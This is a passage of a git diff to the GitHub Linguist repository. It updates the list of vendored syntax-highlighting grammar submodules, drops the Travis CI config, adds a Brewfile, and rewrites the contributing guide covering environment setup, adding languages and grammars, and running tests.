 	url = https://github.com/Nessphoro/sublimeassembly
-[submodule "vendor/grammars/monkey"]
-	path = vendor/grammars/monkey
-	url = https://github.com/gingerbeardman/monkey.tmbundle
-[submodule "vendor/grammars/assembly"]
-	path = vendor/grammars/assembly
-	url = https://github.com/nanoant/assembly.tmbundle
-[submodule "vendor/grammars/boo"]
-	path = vendor/grammars/boo
-	url = https://github.com/Shammah/boo-sublime
-[submodule "vendor/grammars/logos"]
-	path = vendor/grammars/logos
-	url = https://github.com/Cykey/Sublime-Logos
-[submodule "vendor/grammars/pig-latin"]
-	path = vendor/grammars/pig-latin
-	url = https://github.com/goblindegook/sublime-text-pig-latin
-[submodule "vendor/grammars/sourcepawn"]
-path = vendor/grammars/sourcepawn
-url = https://github.com/austinwagner/sublime-sourcepawn
-[submodule "vendor/grammars/gdscript"]
-	path = vendor/grammars/gdscript
-	url = https://github.com/beefsack/GDScript-sublime
-[submodule "vendor/grammars/nesC"]
-	path = vendor/grammars/nesC
-	url = https://github.com/cdwilson/nesC.tmbundle
-[submodule "vendor/grammars/ats"]
-	path = vendor/grammars/ats
-	url = https://github.com/steinwaywhw/ats-mode-sublimetext
-[submodule "vendor/grammars/grace"]
-	path = vendor/grammars/grace
-	url = https://github.com/zmthy/grace-tmbundle
-[submodule "vendor/grammars/ejs-tmbundle"]
-	path = vendor/grammars/ejs-tmbundle
-	url = https://github.com/gregory-m/ejs-tmbundle
-[submodule "vendor/grammars/nix"]
-	path = vendor/grammars/nix
-	url = https://github.com/wmertens/sublime-nix
-[submodule "vendor/grammars/idris"]
-	path = vendor/grammars/idris
-	url = https://github.com/idris-hackers/idris-sublime.git
-[submodule "vendor/grammars/atomic-dreams"]
-	path = vendor/grammars/atomic-dreams
-	url = https://github.com/PJB3005/atomic-dreams
-[submodule "vendor/grammars/language-apl"]
-	path = vendor/grammars/language-apl
-	url = https://github.com/Alhadis/language-apl.git
-[submodule "vendor/grammars/language-graphql"]
-	path = vendor/grammars/language-graphql
-	url = https://github.com/rmosolgo/language-graphql
-[submodule "vendor/grammars/language-toc-wow"]
-	path = vendor/grammars/language-toc-wow
-	url = https://github.com/nebularg/language-toc-wow
-[submodule "vendor/grammars/sublime-autoit"]
-	path = vendor/grammars/sublime-autoit
-	url = https://github.com/AutoIt/SublimeAutoItScript
-[submodule "vendor/grammars/TLA"]
-	path = vendor/grammars/TLA
-	url = https://github.com/agentultra/TLAGrammar
-[submodule "vendor/grammars/sublime-clips"]
-	path = vendor/grammars/sublime-clips
-	url = https://github.com/psicomante/CLIPS-sublime
-[submodule "vendor/grammars/creole"]
-	path = vendor/grammars/creole
-	url = https://github.com/Siddley/Creole
-[submodule "vendor/grammars/language-csound"]
-	path = vendor/grammars/language-csound
-	url = https://github.com/nwhetsell/language-csound
-[submodule "vendor/grammars/language-wavefront"]
-	path = vendor/grammars/language-wavefront
-	url = https://github.com/Alhadis/language-wavefront
-[submodule "vendor/grammars/nu.tmbundle"]
-	path = vendor/grammars/nu.tmbundle
-	url = https://github.com/jsallis/nu.tmbundle
-[submodule "vendor/grammars/Elm"]
-	path = vendor/grammars/Elm
-	url = https://github.com/elm-community/Elm.tmLanguage
-[submodule "vendor/grammars/language-restructuredtext"]
-	path = vendor/grammars/language-restructuredtext
-	url = https://github.com/Lukasa/language-restructuredtext
-[submodule "vendor/grammars/atom-language-clean"]
-	path = vendor/grammars/atom-language-clean
-	url = https://github.com/timjs/atom-language-clean.git
-[submodule "vendor/grammars/language-turing"]
-	path = vendor/grammars/language-turing
-	url = https://github.com/Alhadis/language-turing
-[submodule "vendor/grammars/atom-language-srt"]
-	path = vendor/grammars/atom-language-srt
-	url = https://github.com/314eter/atom-language-srt
-[submodule "vendor/grammars/language-agc"]
-	path = vendor/grammars/language-agc
-	url = https://github.com/Alhadis/language-agc
-[submodule "vendor/grammars/language-blade"]
-	path = vendor/grammars/language-blade
-	url = https://github.com/jawee/language-blade
-[submodule "vendor/grammars/SublimeGDB"]
-	path = vendor/grammars/SublimeGDB
-	url = https://github.com/quarnster/SublimeGDB
-[submodule "vendor/grammars/language-roff"]
-	path = vendor/grammars/language-roff
-	url = https://github.com/Alhadis/language-roff
+[submodule "vendor/grammars/sublimeprolog"]
+	path = vendor/grammars/sublimeprolog
+	url = https://github.com/alnkpa/sublimeprolog
+[submodule "vendor/grammars/sublimetext-cuda-cpp"]
+	path = vendor/grammars/sublimetext-cuda-cpp
+	url = https://github.com/harrism/sublimetext-cuda-cpp
+[submodule "vendor/grammars/sublimetext-nasl"]
+	path = vendor/grammars/sublimetext-nasl
+	url = https://github.com/tenable/sublimetext-nasl
+[submodule "vendor/grammars/svelte-atom"]
+	path = vendor/grammars/svelte-atom
+	url = https://github.com/sebastinez/svelte-atom.git
+[submodule "vendor/grammars/sway-vscode-plugin"]
+	path = vendor/grammars/sway-vscode-plugin
+	url = https://github.com/FuelLabs/sway-vscode-plugin.git
+[submodule "vendor/grammars/sweave.tmbundle"]
+	path = vendor/grammars/sweave.tmbundle
+	url = https://github.com/textmate/sweave.tmbundle.git
+[submodule "vendor/grammars/swift-tmlanguage"]
+	path = vendor/grammars/swift-tmlanguage
+	url = https://github.com/jtbandes/swift-tmlanguage.git
+[submodule "vendor/grammars/syntax"]
+	path = vendor/grammars/syntax
+	url = https://github.com/hashicorp/syntax.git
+[submodule "vendor/grammars/syntax-mcfunction"]
+	path = vendor/grammars/syntax-mcfunction
+	url = https://github.com/MinecraftCommands/syntax-mcfunction.git
+[submodule "vendor/grammars/tcl.tmbundle"]
+	path = vendor/grammars/tcl.tmbundle
+	url = https://github.com/textmate/tcl.tmbundle
+[submodule "vendor/grammars/templ-vscode"]
+	path = vendor/grammars/templ-vscode
+	url = https://github.com/templ-go/templ-vscode.git
+[submodule "vendor/grammars/textmate.tmbundle"]
+	path = vendor/grammars/textmate.tmbundle
+	url = https://github.com/textmate/textmate.tmbundle
+[submodule "vendor/grammars/textproto-grammar"]
+	path = vendor/grammars/textproto-grammar
+	url = https://github.com/thejustinwalsh/textproto-grammar.git
+[submodule "vendor/grammars/thrift.tmbundle"]
+	path = vendor/grammars/thrift.tmbundle
+	url = https://github.com/textmate/thrift.tmbundle
+[submodule "vendor/grammars/tlv-vscode"]
+	path = vendor/grammars/tlv-vscode
+	url = https://github.com/adamint/tlv-vscode
+[submodule "vendor/grammars/toml.tmbundle"]
+	path = vendor/grammars/toml.tmbundle
+	url = https://github.com/textmate/toml.tmbundle
+[submodule "vendor/grammars/turtle.tmbundle"]
+	path = vendor/grammars/turtle.tmbundle
+	url = https://github.com/peta/turtle.tmbundle
+[submodule "vendor/grammars/typst-grammar"]
+	path = vendor/grammars/typst-grammar
+	url = https://github.com/michidk/typst-grammar.git
+[submodule "vendor/grammars/verilog.tmbundle"]
+	path = vendor/grammars/verilog.tmbundle
+	url = https://github.com/textmate/verilog.tmbundle
+[submodule "vendor/grammars/vhdl"]
+	path = vendor/grammars/vhdl
+	url = https://github.com/textmate/vhdl.tmbundle
+[submodule "vendor/grammars/vsc-ember-syntax"]
+	path = vendor/grammars/vsc-ember-syntax
+	url = https://github.com/lifeart/vsc-ember-syntax.git
+[submodule "vendor/grammars/vsc-fennel"]
+	path = vendor/grammars/vsc-fennel
+	url = https://github.com/kongeor/vsc-fennel
+[submodule "vendor/grammars/vscode-TalonScript"]
+	path = vendor/grammars/vscode-TalonScript
+	url = https://github.com/mrob95/vscode-TalonScript.git
+[submodule "vendor/grammars/vscode-antlers-language-server"]
+	path = vendor/grammars/vscode-antlers-language-server
+	url = https://github.com/Stillat/vscode-antlers-language-server.git
+[submodule "vendor/grammars/vscode-bitbake"]
+	path = vendor/grammars/vscode-bitbake
+	url = https://github.com/yoctoproject/vscode-bitbake.git
+[submodule "vendor/grammars/vscode-brightscript-language"]
+	path = vendor/grammars/vscode-brightscript-language
+	url = https://github.com/rokucommunity/vscode-brightscript-language.git
+[submodule "vendor/grammars/vscode-caddyfile"]
+	path = vendor/grammars/vscode-caddyfile
+	url = https://github.com/caddyserver/vscode-caddyfile.git
+[submodule "vendor/grammars/vscode-cadence"]
+	path = vendor/grammars/vscode-cadence
+	url = https://github.com/onflow/vscode-cadence.git
+[submodule "vendor/grammars/vscode-codeql"]
+	path = vendor/grammars/vscode-codeql
+	url = https://github.com/github/vscode-codeql
+	branch = main
+[submodule "vendor/grammars/vscode-cue"]
+	path = vendor/grammars/vscode-cue
+	url = https://github.com/cue-sh/vscode-cue
+[submodule "vendor/grammars/vscode-curry"]
+	path = vendor/grammars/vscode-curry
+	url = https://github.com/fwcd/vscode-curry
+[submodule "vendor/grammars/vscode-dune"]
+	path = vendor/grammars/vscode-dune
+	url = https://github.com/maelvls/vscode-dune.git
+[submodule "vendor/grammars/vscode-euphoria"]
+	path = vendor/grammars/vscode-euphoria
+	url = https://github.com/OpenEuphoria/vscode-euphoria
+[submodule "vendor/grammars/vscode-fluent"]
+	path = vendor/grammars/vscode-fluent
+	url = https://github.com/macabeus/vscode-fluent
+[submodule "vendor/grammars/vscode-gcode-syntax"]
+	path = vendor/grammars/vscode-gcode-syntax
+	url = https://github.com/appliedengdesign/vscode-gcode-syntax
+[submodule "vendor/grammars/vscode-gedcom"]
+	path = vendor/grammars/vscode-gedcom
+	url = https://github.com/fguitton/vscode-gedcom
+[submodule "vendor/grammars/vscode-gleam"]
+	path = vendor/grammars/vscode-gleam
+	url = https://github.com/gleam-lang/vscode-gleam.git
+[submodule "vendor/grammars/vscode-go"]
+	path = vendor/grammars/vscode-go
+	url = https://github.com/golang/vscode-go
+[submodule "vendor/grammars/vscode-hack"]
+	path = vendor/grammars/vscode-hack
+	url = https://github.com/slackhq/vscode-hack
+[submodule "vendor/grammars/vscode-hy"]
+	path = vendor/grammars/vscode-hy
+	url = https://github.com/tshakalekholoane/vscode-hy
+[submodule "vendor/grammars/vscode-ibmi-languages"]
+	path = vendor/grammars/vscode-ibmi-languages
+	url = https://github.com/barrettotte/vscode-ibmi-languages
+[submodule "vendor/grammars/vscode-janet"]
+	path = vendor/grammars/vscode-janet
+	url = https://github.com/janet-lang/vscode-janet.git
+[submodule "vendor/grammars/vscode-jest"]
+	path = vendor/grammars/vscode-jest
+	url = https://github.com/jest-community/vscode-jest
+[submodule "vendor/grammars/vscode-just"]
+	path = vendor/grammars/vscode-just
+	url = https://github.com/nefrob/vscode-just.git
+[submodule "vendor/grammars/vscode-lean"]
+	path = vendor/grammars/vscode-lean
+	url = https://github.com/leanprover/vscode-lean
+[submodule "vendor/grammars/vscode-lean4"]
+	path = vendor/grammars/vscode-lean4
+	url = https://github.com/leanprover/vscode-lean4.git
+[submodule "vendor/grammars/vscode-livecodescript"]
+	path = vendor/grammars/vscode-livecodescript
+	url = https://github.com/Ferruslogic/vscode-livecodescript.git
+[submodule "vendor/grammars/vscode-monkey-c"]
+	path = vendor/grammars/vscode-monkey-c
+	url = https://github.com/ghisguth/vscode-monkey-c
+[submodule "vendor/grammars/vscode-motoko"]
+	path = vendor/grammars/vscode-motoko
+	url = https://github.com/dfinity/vscode-motoko.git
+[submodule "vendor/grammars/vscode-move-syntax"]
+	path = vendor/grammars/vscode-move-syntax
+	url = https://github.com/damirka/vscode-move-syntax.git
+[submodule "vendor/grammars/vscode-noir"]
+	path = vendor/grammars/vscode-noir
+	url = https://github.com/noir-lang/vscode-noir.git
+[submodule "vendor/grammars/vscode-opa"]
+	path = vendor/grammars/vscode-opa
+	url = https://github.com/open-policy-agent/vscode-opa.git
+[submodule "vendor/grammars/vscode-pddl"]
+	path = vendor/grammars/vscode-pddl
+	url = https://github.com/jan-dolejsi/vscode-pddl.git
+[submodule "vendor/grammars/vscode-plantuml"]
+	path = vendor/grammars/vscode-plantuml
+	url = https://github.com/qjebbs/vscode-plantuml
+[submodule "vendor/grammars/vscode-prisma"]
+	path = vendor/grammars/vscode-prisma
+	url = https://github.com/prisma/vscode-prisma
+[submodule "vendor/grammars/vscode-procfile"]
+	path = vendor/grammars/vscode-procfile
+	url = https://github.com/benspaulding/vscode-procfile
+[submodule "vendor/grammars/vscode-proto3"]
+	path = vendor/grammars/vscode-proto3
+	url = https://github.com/zxh0/vscode-proto3
+[submodule "vendor/grammars/vscode-python"]
+	path = vendor/grammars/vscode-python
+	url = https://github.com/microsoft/vscode-python.git
+[submodule "vendor/grammars/vscode-rbs-syntax"]
+	path = vendor/grammars/vscode-rbs-syntax
+	url = https://github.com/soutaro/vscode-rbs-syntax.git
+[submodule "vendor/grammars/vscode-ron"]
+	path = vendor/grammars/vscode-ron
+	url = https://github.com/a5huynh/vscode-ron.git
+[submodule "vendor/grammars/vscode-scala-syntax"]
+	path = vendor/grammars/vscode-scala-syntax
+	url = https://github.com/scala/vscode-scala-syntax
+[submodule "vendor/grammars/vscode-singularity"]
+	path = vendor/grammars/vscode-singularity
+	url = https://github.com/onnovalkering/vscode-singularity
+[submodule "vendor/grammars/vscode-slice"]
+	path = vendor/grammars/vscode-slice
+	url = https://github.com/zeroc-ice/vscode-slice
+[submodule "vendor/grammars/vscode-vba"]
+	path = vendor/grammars/vscode-vba
+	url = https://github.com/serkonda7/vscode-vba.git
+[submodule "vendor/grammars/vscode-vcard"]
+	path = vendor/grammars/vscode-vcard
+	url = https://github.com/cstrachan88/vscode-vcard.git
+[submodule "vendor/grammars/vscode-vlang"]
+	path = vendor/grammars/vscode-vlang
+	url = https://github.com/0x9ef/vscode-vlang
+[submodule "vendor/grammars/vscode-wit"]
+	path = vendor/grammars/vscode-wit
+	url = https://github.com/bytecodealliance/vscode-wit.git
+[submodule "vendor/grammars/vscode-wren"]
+	path = vendor/grammars/vscode-wren
+	url = https://github.com/Nelarius/vscode-wren.git
+[submodule "vendor/grammars/vscode-yara"]
+	path = vendor/grammars/vscode-yara
+	url = https://github.com/infosec-intern/vscode-yara.git
+[submodule "vendor/grammars/vscode-zil-language"]
+	path = vendor/grammars/vscode-zil-language
+	url = https://github.com/tclem/vscode-zil-language
+[submodule "vendor/grammars/vscode_cobol"]
+	path = vendor/grammars/vscode_cobol
+	url = https://github.com/spgennard/vscode_cobol.git
+[submodule "vendor/grammars/vscode_mikrotik_routeros_script"]
+	path = vendor/grammars/vscode_mikrotik_routeros_script
+	url = https://github.com/devMikeUA/vscode_mikrotik_routeros_script.git
+[submodule "vendor/grammars/vue-syntax-highlight"]
+	path = vendor/grammars/vue-syntax-highlight
+	url = https://github.com/vuejs/vue-syntax-highlight
+[submodule "vendor/grammars/wgsl-analyzer"]
+	path = vendor/grammars/wgsl-analyzer
+	url = https://github.com/wgsl-analyzer/wgsl-analyzer.git
+[submodule "vendor/grammars/witcherscript-grammar"]
+	path = vendor/grammars/witcherscript-grammar
+	url = https://github.com/ADawesomeguy/witcherscript-grammar.git
+[submodule "vendor/grammars/wollok-sublime"]
+	path = vendor/grammars/wollok-sublime
+	url = https://github.com/uqbar-project/wollok-sublime
+[submodule "vendor/grammars/xc.tmbundle"]
+	path = vendor/grammars/xc.tmbundle
+	url = https://github.com/graymalkin/xc.tmbundle
+[submodule "vendor/grammars/xml.tmbundle"]
+	path = vendor/grammars/xml.tmbundle
+	url = https://github.com/textmate/xml.tmbundle
+[submodule "vendor/grammars/zeek-sublime"]
+	path = vendor/grammars/zeek-sublime
+	url = https://github.com/zeek/zeek-sublime
+[submodule "vendor/grammars/zephir-sublime"]
+	path = vendor/grammars/zephir-sublime
+	url = https://github.com/phalcon/zephir-sublime
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100644
index 32632cc581..0000000000
--- a/.travis.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-language: ruby
-sudo: false
-addons:
-  apt:
-    packages:
-    - libicu-dev
-    - libicu48
-before_install: script/travis/before_install
-script:
-  - bundle exec rake
-  - script/licensed verify
-rvm:
-  - 2.0.0
-  - 2.1
-  - 2.2
-notifications:
-  disabled: true
-git:
-  submodules: false
-cache: bundler
diff --git a/Brewfile b/Brewfile
new file mode 100644
index 0000000000..c7cd710406
--- /dev/null
+++ b/Brewfile
@@ -0,0 +1,4 @@
+brew "cmake"
+brew "pkg-config"
+brew "icu4c"
+cask "docker"
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 638867c5bc..de877b6b98 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -1,116 +1,246 @@
 # Contributing
 
-Hi there! We're thrilled that you'd like to contribute to this project. Your help is essential for keeping it great. This project adheres to the [Contributor Covenant Code of Conduct](http://contributor-covenant.org/). By participating, you are expected to uphold this code.
+Hi there!
+We're thrilled that you'd like to contribute to this project.
+Your help is essential for keeping it great.
+
+Contributions to this project are [released](https://docs.github.com/github/site-policy/github-terms-of-service#6-contributions-under-repository-license) to the public under the [project's open source license](LICENSE).
+
+This project adheres to the [Contributor Covenant Code of Conduct](http://contributor-covenant.org/).
+By participating, you are expected to uphold this code.
 
 The majority of contributions won't need to touch any Ruby code at all.
 
+## Setting up a working environment
+
+In order to start contributing to Linguist, you will need to setup your working environment.
+We detail three methods below and recommend using GitHub Codespaces as it is the easiest and quickest method that will provide you with a consistent pre-configured environment ready for you to start contributing.
+
+### Using GitHub Codespaces
+
+Using GitHub Codespaces is the easiest and quickest method to start contributing.
+The Free and Pro plans for personal accounts include free use of GitHub Codespaces up to a fixed amount of usage every month.
+For more info on GitHub Codespaces billing, see [this help page](https://docs.github.com/en/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces).
+
+To get started, click this button: [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/github-linguist/linguist)
+
+### Using the dev container locally
+
+To open locally in VS Code using a dev container, follow the [Visual Studio Code Dev Containers installation instructions](https://code.visualstudio.com/docs/remote/containers#_installation) to configure dev container support.
+Close the repo and open it in VS Code.
+VS Code will automatically offer to run this project in a dev container when the project is opened.
+No additional setup will be required.
+
+### Using your local system without the dev container
+
+This is the longest and most involved and error-prone approach and is documented for those who can't use one of the methods above or prefer to do everything within the native operating system environment.
+
+#### Dependencies
+
+Linguist is a Ruby library so you will need a recent version of Ruby installed.
+There are known problems with the macOS/XCode supplied version of Ruby that causes problems installing some of the dependencies.
+Accordingly, we highly recommend you install a version of Ruby using Homebrew, `rbenv`, `rvm`, `ruby-build`, `asdf` or other packaging system, before attempting to install Linguist and the dependencies.
+
+Linguist uses the [`charlock_holmes`](https://github.com/brianmario/charlock_holmes) character encoding detection library which in turn uses [ICU](http://site.icu-project.org/), and the libgit2 bindings for Ruby provided by [`rugged`](https://github.com/libgit2/rugged).
+[Bundler](https://bundler.io/) v1.10.0 or newer is required for installing the Ruby gem dependencies.
+[Docker](https://www.docker.com/) is also required when adding or updating grammars.
+These components have their own dependencies - `icu4c`, and `cmake` and `pkg-config` respectively - which you may need to install before you can install Linguist.
+
+On macOS with [Homebrew](http://brew.sh/) the instructions below under Getting started will install these dependencies for you.
+
+On Ubuntu:
+
+```bash
+apt-get install cmake pkg-config libicu-dev docker.io ruby ruby-dev zlib1g-dev build-essential libssl-dev
+```
+
+The latest version of Bundler can be installed with `gem install bundler`.
+
+#### Getting started
+
+Before you can start contributing to Linguist, you'll need to set up your environment first.
+Clone the repo and run `script/bootstrap` to install its dependencies.
+
+```bash
+git clone https://github.com/github/linguist.git
+cd linguist/
+script/bootstrap
+```
+
+To run Linguist from the cloned repository:
+
+```bash
+bundle exec bin/github-linguist --breakdown
+```
+
 ## Adding an extension to a language
 
-We try only to add new extensions once they have some usage on GitHub. In most cases we prefer that extensions be in use in hundreds of repositories before supporting them in Linguist.
+We try only to add new extensions once they have some usage on GitHub.
+In most cases we prefer that each new file extension be in use in at least 200 unique `:user/:repo` repositories before supporting them in Linguist
+(but see [#5756][] for a temporary change in the criteria).
 
 To add support for a new extension:
 
-0. Add your extension to the language entry in [`languages.yml`][languages], keeping the extensions in alphabetical order.
-0. Add at least one sample for your extension to the [samples directory][samples] in the correct subdirectory.
-0. Open a pull request, linking to a [GitHub search result](https://github.com/search?utf8=%E2%9C%93&q=extension%3Aboot+NOT+nothack&type=Code&ref=searchresults) showing in-the-wild usage.
+1. Add your extension to the language entry in [`languages.yml`][languages].
+   Keep the extensions in alphabetical order, sorted case-sensitively (uppercase before lowercase).
+   The exception is the primary extension: it should always be first.
+2. Add at least one sample for your extension to the [samples directory][samples] in the correct subdirectory.
+   We prefer examples of real-world code showing common usage.
+   The more representative of the structure of the language, the better.
 
-In addition, if this extension is already listed in [`languages.yml`][languages] then sometimes a few more steps will need to be taken:
+   **"Hello world" examples will not be accepted.**
+3. Open a pull request, linking to a [GitHub search result][search-example] showing in-the-wild usage.
+   If you are adding a sample, please state clearly the license covering the code.
+   If possible, link to the original source of the sample.
+   If you wrote the sample specifically for the PR and are happy for it to be included under the MIT license that covers Linguist, you can state this instead.
 
-0. Make sure that example `.yourextension` files are present in the [samples directory][samples] for each language that uses `.yourextension`.
-0. Test the performance of the Bayesian classifier with a relatively large number (1000s) of sample `.yourextension` files. (ping @arfon or @bkeepers to help with this) to ensure we're not misclassifying files.
-0. If the Bayesian classifier does a bad job with the sample `.yourextension` files then a [heuristic](https://github.com/github/linguist/blob/master/lib/linguist/heuristics.rb) may need to be written to help.
+Additionally, if this extension is already listed in [`languages.yml`][languages] and associated with another language, then a few more steps will need to be taken:
 
+1. Make sure that at least two example `.yourextension` files are present in the [samples directory][samples] for each language that uses `.yourextension`.
+2. If the two languages look vaguely similar, or one of the languages has uniquely identifiable characteristics, consider writing a [heuristic][] to help with the classification.
+
+Remember, the goal here is to try and avoid false positives!
+
+See [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when your changes will appear on GitHub after your PR has been merged.
 
 ## Adding a language
 
-We try only to add languages once they have some usage on GitHub. In most cases we prefer that each new file extension be in use in hundreds of repositories before supporting them in Linguist.
+We try only to add languages once they have some usage on GitHub.
+In most cases we prefer that each new file extension be in use in at least 200 unique `:user/:repo` repositories before supporting them in Linguist
+(but see [#5756][] for a temporary change in the criteria).
 
 To add support for a new language:
 
-0. Add an entry for your language to [`languages.yml`][languages].
-0. Add a grammar for your language. Please only add grammars that have a license that permits redistribution.
-  0. Add your grammar as a submodule: `git submodule add https://github.com/JaneSmith/MyGrammar vendor/grammars/MyGrammar`.
-  0. Add your grammar to [`grammars.yml`][grammars] by running `script/convert-grammars --add vendor/grammars/MyGrammar`.
-  0. Download the license for the grammar: `script/licensed`. Be careful to only commit the file for the new grammar, as this script may update licenses for other grammars as well.
-0. Add samples for your language to the [samples directory][samples] in the correct subdirectory.
-0. Open a pull request, linking to a [GitHub search result](https://github.com/search?utf8=%E2%9C%93&q=extension%3Aboot+NOT+nothack&type=Code&ref=searchresults) showing in-the-wild usage.
+1. Add an entry for your language to [`languages.yml`][languages].
+   Omit the `language_id` field for now.
+2. Add a syntax-highlighting grammar for your language using:
+
+   ```bash
+   script/add-grammar https://github.com/JaneSmith/MyGrammar
+   ```
+
+   This command will analyze the grammar and, if no problems are found, add it to the repository.
+   If problems are found, please report them to the grammar maintainer as you will otherwise be unable to add it.
+
+   **Please only add grammars that have [one of these licenses][licenses].**
+3. Add samples for your language to the [samples directory][samples] in the correct subdirectory.
+   We prefer examples of real-world code showing common usage.
+   The more representative of the structure of the language, the better.
 
-In addition, if your new language defines an extension that's already listed in [`languages.yml`][languages] (such as `.foo`) then sometimes a few more steps will need to be taken:
+   **"Hello world" examples will not be accepted.**
+4. Generate a unique ID for your language by running `script/update-ids`.
+5. Open a pull request, linking to [GitHub search results][search-example] showing in-the-wild usage.
+   Please state clearly the license covering the code in the samples.
+   Link directly to the original source if possible.
+   If you wrote the sample specifically for the PR and are happy for it to be included under the MIT license that covers Linguist, you can state this instead.
 
-0. Make sure that example `.foo` files are present in the [samples directory][samples] for each language that uses `.foo`.
-0. Test the performance of the Bayesian classifier with a relatively large number (1000s) of sample `.foo` files. (ping @arfon or @bkeepers to help with this) to ensure we're not misclassifying files.
-0. If the Bayesian classifier does a bad job with the sample `.foo` files then a [heuristic](https://github.com/github/linguist/blob/master/lib/linguist/heuristics.rb) may need to be written to help.
+In addition, if your new language defines an extension that is already listed in [`languages.yml`][languages] and associated with another language, then a few more steps will need to be taken:
+
+1. Make sure that at least two example `.foo` files are present in the [samples directory][samples] for each language that uses `.foo`.
+2. If the two languages look vaguely similar, or one of the languages has uniquely identifiable characteristics, consider writing a [heuristic][] to help with the classification.
 
 Remember, the goal here is to try and avoid false positives!
 
+See [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when your changes will appear on GitHub after your PR has been merged.
 
 ## Fixing a misclassified language
 
-Most languages are detected by their file extension defined in [languages.yml][languages].  For disambiguating between files with common extensions, linguist applies some [heuristics](/lib/linguist/heuristics.rb) and a [statistical classifier](lib/linguist/classifier.rb). This process can help differentiate between, for example, `.h` files which could be either C, C++, or Obj-C.
-
-Misclassifications can often be solved by either adding a new filename or extension for the language or adding more [samples][samples] to make the classifier smarter.
+Most languages are detected by their file extension defined in [`languages.yml`][languages].
+For disambiguating between files with common extensions, Linguist applies some [heuristics](/lib/linguist/heuristics.rb) and a [statistical classifier](lib/linguist/classifier.rb).
+This process can help differentiate between, for example, `.h` files which could be either C, C++, or Obj-C.
 
+Misclassifications can often be solved by either adding a new filename or extension for the language or adding more [samples][] to make the classifier smarter.
 
 ## Fixing syntax highlighting
 
-Syntax highlighting in GitHub is performed using TextMate-compatible grammars. These are the same grammars that TextMate, Sublime Text and Atom use. Every language in [languages.yml][languages] is mapped to its corresponding TM `scope`. This scope will be used when picking up a grammar for highlighting.
+Syntax highlighting in GitHub is performed using TextMate-compatible grammars.
+These are the same grammars used by TextMate, Sublime Text, and Atom.
+Every language in [`languages.yml`][languages] is mapped to its corresponding TextMate `scopeName`.
+This scope name will be used when picking up a grammar for highlighting.
 
-Assuming your code is being detected as the right language, in most cases this is due to a bug in the language grammar rather than a bug in Linguist. [`grammars.yml`][grammars] lists all the grammars we use for syntax highlighting on github.com. Find the one corresponding to your code's programming language and submit a bug report upstream. If you can, try to reproduce the highlighting problem in the text editor that the grammar is designed for (TextMate, Sublime Text, or Atom) and include that information in your bug report.
+Assuming your code is being detected as the right language, in most cases syntax highlighting problems are due to a bug in the language grammar rather than a bug in Linguist.
+[`vendor/README.md`][grammars] lists all the grammars we use for syntax highlighting on GitHub.com.
+Find the one corresponding to your code's programming language and submit a bug report upstream.
+If you can, try to reproduce the highlighting problem in the text editor that the grammar is designed for (TextMate, Sublime Text, or Atom) and include that information in your bug report.
 
-You can also try to fix the bug yourself and submit a Pull Request. [TextMate's documentation](https://manual.macromates.com/en/language_grammars) offers a good introduction on how to work with TextMate-compatible grammars. You can test grammars using [Lightshow](https://github-lightshow.herokuapp.com).
+You can also try to fix the bug yourself and submit a pull-request.
+[TextMate's documentation](https://manual.macromates.com/en/language_grammars) offers a good introduction on how to work with TextMate-compatible grammars.
+Note that Linguist uses [PCRE](https://www.pcre.org/) regular expressions, while TextMate uses [Oniguruma](https://github.com/kkos/oniguruma).
+Although they are mostly compatible, there may be occasional differences in syntax and semantics between the two.
+Linguist's grammar compiler will highlight any problems when the grammar is updated.
 
 Once the bug has been fixed upstream, we'll pick it up for GitHub in the next release of Linguist.
 
+See [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when the upstream changes will appear on GitHub.
+
+## Changing the source of a syntax highlighting grammar
+
+We'd like to ensure Linguist and GitHub.com are using the latest and greatest grammars that are consistent with the current usage but understand that sometimes a grammar can lag behind the evolution of a language or even stop being developed.
+This often results in someone grasping the opportunity to create a newer and better and more actively maintained grammar, and we'd love to use it and pass on its functionality to our users.
+
+Switching the source of a grammar is really easy:
+
+```bash
+script/add-grammar --replace MyGrammar https://github.com/PeterPan/MyGrammar
+```
+
+This command will analyze the grammar and, if no problems are found, add it to the repository.
+If problems are found, please report these problems to the grammar maintainer as you will not be able to add the grammar if problems are found.
+
+**Please only add grammars that have [one of these licenses][licenses].**
+
+Please then open a pull request for the updated grammar.
+
+See [My Linguist PR has been merged but GitHub doesn't reflect my changes][merged-pr] for details on when your changes will appear on GitHub after your PR has been merged.
+
+## Changing the color associated with a language
+
+Many of the colors associated with the languages within Linguist have been in place for a very long time.
+The colors were often chosen based on the colors used by the language at the time and since then users will have become familiar with those colors as they appear on GitHub.com.
+If you would like to change the color of a language, we ask that you propose your suggested color change to the wider community for your language to gain consensus before submitting a pull request.
+Please do this in a community forum or repository used and known by the wider community of that language, not the Linguist repository.
+
+Once you've received consensus that the community is happy with your proposed color change, please feel free to open a PR making the change and link to the public discussion where this was agreed by the community.
+If there are official branding guidelines to support the colour choice, please link to those too.
+
 ## Testing
 
-For development you are going to want to checkout out the source. To get it, clone the repo and run [Bundler](http://gembundler.com/) to install its dependencies.
+You can run the tests locally with:
 
-    git clone https://github.com/github/linguist.git
-    cd linguist/
-    script/bootstrap
+```bash
+bundle exec rake test
+```
 
-To run the tests:
+You can test the classifier locally with:
 
-    bundle exec rake test
+```bash
+bundle exec script/cross-validation --test
+```
 
-Sometimes getting the tests running can be too much work, especially if you don't have much Ruby experience. It's okay: be lazy and let our build bot [Travis](https://travis-ci.org/#!/github/linguist) run the tests for you. Just open a pull request and the bot will start cranking away.
+Sometimes getting the tests running can be too much work, especially if you don't have much Ruby experience.
+It's okay: be lazy and let [GitHub Actions](https://github.com/features/actions) run the tests for you.
+Just open a pull request and the bot will start cranking away.
+
+Here's our current build status: [![Actions Status](https://github.com/github/linguist/workflows/Run%20Tests/badge.svg)](https://github.com/github/linguist/actions)
 
-Here's our current build status: [![Build Status](https://api.travis-ci.org/github/linguist.svg?branch=master)](https://travis-ci.org/github/linguist)
 
 ## Maintainers
 
 Linguist is maintained with :heart: by:
 
-- @arfon (GitHub Staff)
-- @larsbrinkhoff
-- @pchaigno
- 
